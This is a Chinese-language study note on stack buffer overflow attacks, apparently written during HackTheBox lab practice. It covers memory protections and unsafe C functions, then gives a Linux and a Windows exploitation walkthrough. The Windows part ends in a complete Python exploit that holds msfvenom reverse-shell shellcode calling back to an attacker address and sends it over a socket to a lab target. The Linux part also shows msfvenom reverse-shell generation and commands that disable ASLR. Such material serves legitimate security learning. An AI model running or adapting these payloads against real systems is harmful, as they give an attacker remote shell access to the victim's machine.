假設你已經對計算機組織有很深的理解了,那很好!一張圖就可以弄懂了。

Source

指令會儲存在記憶體內,其中最重要的是返回地址(Return Address),只要改寫了就可以跳轉到任意位址。

  • 任何試圖寫入 .text 的行為都會直接導致區段錯誤(Segmentation Fault)。
  • Stack Pointer 會由高位址往低位址移動。

現代記憶體保護機制:

  • Canary:在區域變數與回傳位址間插入隨機的祕密數值,因為要覆寫回傳位址,必定會先破壞這個數值。所以,程式在回傳前如果發現不一致,就會強制關閉程式
  • DEF:將記憶體標記唯獨。駭客利用 ROP 繞過這點,把 Shellcode 上傳道可執行空間
  • ASLR:位址空間組態隨機化。駭客可以透過洩漏記憶體位址繞過,但這極大加漏洞利用的難度

所有直接操作記憶體的函式,都是易受攻擊的函式:

  • strcpy
  • gets
  • sprintf
  • scanf
  • strcat

這已經是過時的技術了吧?現在抓記憶體錯誤的工具這麼多,AddressSanitizer, Valgrind ...,為什麼還要學這個?

有的服務還真就這麼過時。更何況,很多進階技巧都是基於這些技巧。就像是你要了解科技發展,你最好也了解一下蒸汽機的歷史。

思路

從攻擊的函式開始,一路覆寫。知道到 Return Address 需要多少偏移量後,在 Executable 的區塊順代注入 Shellcode,並把修改最後的 Return Address 指向 Shellcode 就完成了。

生成偏移量可用 pattern-create,計算可用 pattern-offset,Shellcode 生成可用 msfvenom,之後即可組成一個 Payload 注入 vulnerable 程式輸入,即完成 Buffer Overflow 攻擊。

而在組合語言這章節就有提到,Shellcode 裡不該包含 0x00,我們在生成 Payload 時,也有一些壞字元(Bad Characters)要注意,不同輸入環境會有各異的壞字元,所以先自行篩選。以下是幾個可能利用的輸入:

  • Text Input Fields
  • Opened Files
  • Program Arguments
  • Remote Resources

總之,其實 Buffer Overflows 攻擊大致都遵循以下幾個步驟:

  1. Fuzzing Parameters
  2. Controlling EIP
  3. Identifying Bad Characters
  4. Finding a Return Instruction
  5. Jumping to Shellcode

Linux x86

停用 ASLR

echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
gcc main.c -o prog -fno-stack-protector -z execstack -m32

實做

$ pattern_create -l <offset>
$ pattern_offset -q <address>
$ run $(python -c 'print "\x55" * (<offset> - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
(gdb) x/<n>xb $esp+<offset> # 看到某個字元消失,就代表它是壞字元
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
(gdb) run $(python -c 'print "\x55" * (<offset> - 100 - <shellcode>) + "\x90" * 100 + "<Shellcode>" + "<Addr_to_NOP>"')

可以在 Shellcode 前加上一些 NOP 0x90

Windows x86

一定要在 HTB 提供的 Lab 下做。我用自己的 Win11 虛擬機,防的超嚴,好像漏洞都被擋掉了 xD

推薦使用 x64dbg,並且安裝 ERC 外掛

ERC --bytearr
ERC --pattern c <num>
ERC --pattern o <pattern>
ERC --compare <ESP> <file.bin>

找到 JMP ESP 或是 POP ESP; RET 指令的位址,並把它複寫到 EIP。假設我們得知 offset = 1052 可以複寫 Return Address,並沒有 Bad Characters,且 jmp esp0x0069D2E5

$ msfvenom -l payload | grep windows | grep shell | grep reverse
...SNIP...
    windows/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
...SNIP...
 
$ msfvenom --payload windows/shell_reverse_tcp --list-options
Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
...SNIP...
 
$ ip a
...SNIP...
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.10.15.248/23 brd 10.10.15.255 scope global tun0
...SNIP...
 
$ nc -lvnp 12345
$ msfvenom --payload windows/shell_reverse_tcp LHOST=10.10.15.248 LPORT=12345 -f 'python'
# exploit.py
import socket
from struct import pack
 
IP = "10.129.211.11"
port = 8889
 
def exploit():
	# msfvenom --payload windows/shell_reverse_tcp LHOST=10.10.15.248 LPORT=12345 -f 'python'
	buf =  b""
	buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
	buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
	buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
	buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
	buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
	buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
	buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
	buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
	buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
	buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
	buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
	buf += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
	buf += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
	buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
	buf += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
	buf += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a"
	buf += b"\x0f\xf8\x68\x02\x00\x30\x39\x89\xe6\x6a\x10\x56"
	buf += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
	buf += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
	buf += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
	buf += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
	buf += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
	buf += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
	buf += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
	buf += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
	buf += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
	buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
 
    offset = 1052
    buffer = b"A"*offset
    eip = pack('<L', 0x0069D2E5)
    nop = b"\x90"*32
    payload = buffer + eip + nop + buf
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.send(payload)
    s.close()
 
exploit()

更詳細的 Windows 提權可以參考:


參考資料